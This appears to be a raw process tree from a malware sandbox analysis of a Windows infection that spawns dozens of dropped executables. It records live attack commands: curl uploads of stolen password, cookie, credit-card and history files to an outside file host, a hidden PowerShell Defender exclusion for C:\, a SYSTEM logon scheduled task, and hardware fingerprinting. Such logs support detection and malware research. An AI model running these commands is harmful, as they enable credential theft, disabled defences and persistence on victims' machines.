C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --extension-process --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3688,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3684 /prefetch:96⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4052,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4048 /prefetch:96⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4304,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4300 /prefetch:96⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1708241363828" --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4676,i,15706239409225878751,16655151939768715099,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=384 /prefetch:16⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --log-level=35⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4812241363921 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4812241363921\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x390,0x394,0x398,0x38c,0x3e0,0x7ff9cc1ff208,0x7ff9cc1ff214,0x7ff9cc1ff2206⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2vbwlee3xuvi.exe"C:\Users\Admin\AppData\Local\Temp\a\2vbwlee3xuvi.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tqg1699uiwak.exe"C:\Users\Admin\AppData\Local\Temp\a\tqg1699uiwak.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\57egO0n.exe"C:\Users\Admin\AppData\Local\Temp\a\57egO0n.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\72ec0de632434927892e1fd7b2bca1e9_build.exe"C:\Users\Admin\AppData\Local\Temp\a\72ec0de632434927892e1fd7b2bca1e9_build.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\01fc35e092ba4f898638bb7d49c1572f_build.exe"C:\Users\Admin\AppData\Local\Temp\a\01fc35e092ba4f898638bb7d49c1572f_build.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5b6878d928514a2f9d1e133410bd481a_build.exe"C:\Users\Admin\AppData\Local\Temp\a\5b6878d928514a2f9d1e133410bd481a_build.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\488ac560be52490391c8a64b0eb0cafd_build.exe"C:\Users\Admin\AppData\Local\Temp\a\488ac560be52490391c8a64b0eb0cafd_build.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\879b4bfa3a2c42c6a89f3c2290662e25_build.exe"C:\Users\Admin\AppData\Local\Temp\a\879b4bfa3a2c42c6a89f3c2290662e25_build.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\OriginalBuild.exe"C:\Users\Admin\AppData\Local\Temp\a\OriginalBuild.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\krfie7dhza0l.exe"C:\Users\Admin\AppData\Local\Temp\a\krfie7dhza0l.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\winsvc_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\winsvc_x64.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\winsvc_x86.exe"C:\Users\Admin\AppData\Local\Temp\a\winsvc_x86.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ATTACK.exe"C:\Users\Admin\AppData\Local\Temp\a\ATTACK.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\staged_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\staged_x64.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\staged_x86.exe"C:\Users\Admin\AppData\Local\Temp\a\staged_x86.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\YJHchKa.exe"C:\Users\Admin\AppData\Local\Temp\a\YJHchKa.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\zzzxvp02gf01.exe"C:\Users\Admin\AppData\Local\Temp\a\zzzxvp02gf01.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"4⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yyy.exe"C:\Users\Admin\AppData\Local\Temp\a\yyy.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1_241390203.exe"C:\Users\Admin\AppData\Local\Temp\1_241390203.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2_241402453.exe"C:\Users\Admin\AppData\Local\Temp\2_241402453.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3_241412703.exe"C:\Users\Admin\AppData\Local\Temp\3_241412703.exe"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\4_241422390.exe"C:\Users\Admin\AppData\Local\Temp\4_241422390.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_241435031.exe"C:\Users\Admin\AppData\Local\Temp\5_241435031.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\6_241443343.exe"C:\Users\Admin\AppData\Local\Temp\6_241443343.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5PC8AXC2UA.tmp\6_241443343.tmp"C:\Users\Admin\AppData\Local\Temp\is-5PC8AXC2UA.tmp\6_241443343.tmp" /SL5="$D0216,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_241443343.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_241458312.exe"C:\Users\Admin\AppData\Local\Temp\7_241458312.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\64th%20Services.exe"C:\Users\Admin\AppData\Local\Temp\a\64th%20Services.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exe"C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe5⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe"C:\Users\Admin\AppData\Local\Temp\a\7.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xx.exe"C:\Users\Admin\AppData\Local\Temp\a\xx.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1_241410453.exe"C:\Users\Admin\AppData\Local\Temp\1_241410453.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2_241422390.exe"C:\Users\Admin\AppData\Local\Temp\2_241422390.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3_241431593.exe"C:\Users\Admin\AppData\Local\Temp\3_241431593.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4_241442359.exe"C:\Users\Admin\AppData\Local\Temp\4_241442359.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_241452406.exe"C:\Users\Admin\AppData\Local\Temp\5_241452406.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\f3d5a80d27c049f2ba17d69b09c13bd5_build.exe"C:\Users\Admin\AppData\Local\Temp\a\f3d5a80d27c049f2ba17d69b09c13bd5_build.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cheat.exe"C:\Users\Admin\AppData\Local\Temp\a\cheat.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\temp.exe"C:\Users\Admin\AppData\Local\Temp\a\temp.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\actu.exe"C:\Users\Admin\AppData\Local\Temp\a\actu.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KJF6S9TYW3.tmp\6.tmp"C:\Users\Admin\AppData\Local\Temp\is-KJF6S9TYW3.tmp\6.tmp" /SL5="$20324,3902226,836608,C:\Users\Admin\AppData\Local\Temp\a\6.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d26⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CIRQ6R0N15.tmp\6.tmp"C:\Users\Admin\AppData\Local\Temp\is-CIRQ6R0N15.tmp\6.tmp" /SL5="$A0262,3902226,836608,C:\Users\Admin\AppData\Local\Temp\a\6.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d27⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe"C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall show rule name= RHSRemoteSupportv2 verbose5⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kn.exe"C:\Users\Admin\AppData\Local\Temp\a\kn.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exe"C:\Users\Admin\AppData\Local\Temp\a\zx.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exe"C:\Users\Admin\AppData\Local\Temp\a\zx.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"4⤵
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\a\v1d.exe"C:\Windows\System32\a\v1d.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\a\c1i.exe"C:\Windows\System32\a\c1i.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\System32\a\udNbXjM.exe"C:\Windows\System32\a\udNbXjM.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID5⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "del C:\Windows\System32\a\udNbXjM.exe"4⤵
-
-
-
C:\Windows\System32\a\CFXBypass.exe"C:\Windows\System32\a\CFXBypass.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\a\TempSpoofer.exe"C:\Windows\System32\a\TempSpoofer.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\a\Monotone.exe"C:\Windows\System32\a\Monotone.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\a\1.exe"C:\Windows\System32\a\1.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.04⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ff9c962f208,0x7ff9c962f214,0x7ff9c962f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1896,i,16938490891650716122,5070841196339065630,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1900,i,16938490891650716122,5070841196339065630,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2328,i,16938490891650716122,5070841196339065630,262144 --variations-seed-version --mojo-platform-channel-handle=2988 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3436,i,16938490891650716122,5070841196339065630,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3420,i,16938490891650716122,5070841196339065630,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:15⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.04⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ff9c210f208,0x7ff9c210f214,0x7ff9c210f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2636,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1628,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=3020 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2144,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3412,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3436,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4784,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --string-annotations --always-read-main-dll --field-trial-handle=4944,i,8895583666708949428,3805038158489155198,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:145⤵
-
-
-
-
C:\Windows\System32\a\Vl42rA8dkRKp2D9.exe"C:\Windows\System32\a\Vl42rA8dkRKp2D9.exe"3⤵
-
C:\Windows\System32\a\Vl42rA8dkRKp2D9.exeC:\Windows\System32\a\Vl42rA8dkRKp2D9.exe4⤵
-
-
-
C:\Windows\System32\a\tcp_windows_amd64.exe"C:\Windows\System32\a\tcp_windows_amd64.exe"3⤵
-
-
C:\Windows\System32\a\sc.exe"C:\Windows\System32\a\sc.exe"3⤵
- Launches sc.exe
-
-
C:\Windows\System32\a\klv8.exe"C:\Windows\System32\a\klv8.exe"3⤵
-
C:\Windows\System32\a\klv8.exe"C:\Windows\System32\a\klv8.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
-
-
C:\Windows\System32\a\tcp_windows_i386.exe"C:\Windows\System32\a\tcp_windows_i386.exe"3⤵
-
-
C:\Windows\System32\a\RuntimeBroker.exe"C:\Windows\System32\a\RuntimeBroker.exe"3⤵
-
-
C:\Windows\System32\a\Client-built.exe"C:\Windows\System32\a\Client-built.exe"3⤵
-
-
C:\Windows\System32\a\RuntimeBrokerr.exe"C:\Windows\System32\a\RuntimeBrokerr.exe"3⤵
-
-
C:\Windows\System32\a\oc.exe"C:\Windows\System32\a\oc.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe/create /tn "WindowsUpdateBxeBfq" /tr "C:\Windows\System32\a\oc.exe" /sc onlogon /ru SYSTEM4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NCaJabjA66i7.exe"C:\Users\Admin\AppData\Local\Temp\NCaJabjA66i7.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 8284⤵
- Program crash
-
-
-
C:\Windows\System32\a\teste.exe"C:\Windows\System32\a\teste.exe"3⤵
-
-
C:\Windows\System32\a\N6ezi92.exe"C:\Windows\System32\a\N6ezi92.exe"3⤵
-
C:\Windows\System32\a\N6ezi92.exe"C:\Windows\System32\a\N6ezi92.exe"4⤵
-
-
-
C:\Windows\System32\a\Renewable.exe"C:\Windows\System32\a\Renewable.exe"3⤵
-
-
C:\Windows\System32\a\41lglxP.exe"C:\Windows\System32\a\41lglxP.exe"3⤵
-
-
C:\Windows\System32\a\urfHCo8.exe"C:\Windows\System32\a\urfHCo8.exe"3⤵
-
-
C:\Windows\System32\a\2vbwlee3xuvi.exe"C:\Windows\System32\a\2vbwlee3xuvi.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --log-level=34⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1c4,0x1f4,0x7ff9cbe4dcf8,0x7ff9cbe4dd04,0x7ff9cbe4dd105⤵
-
-
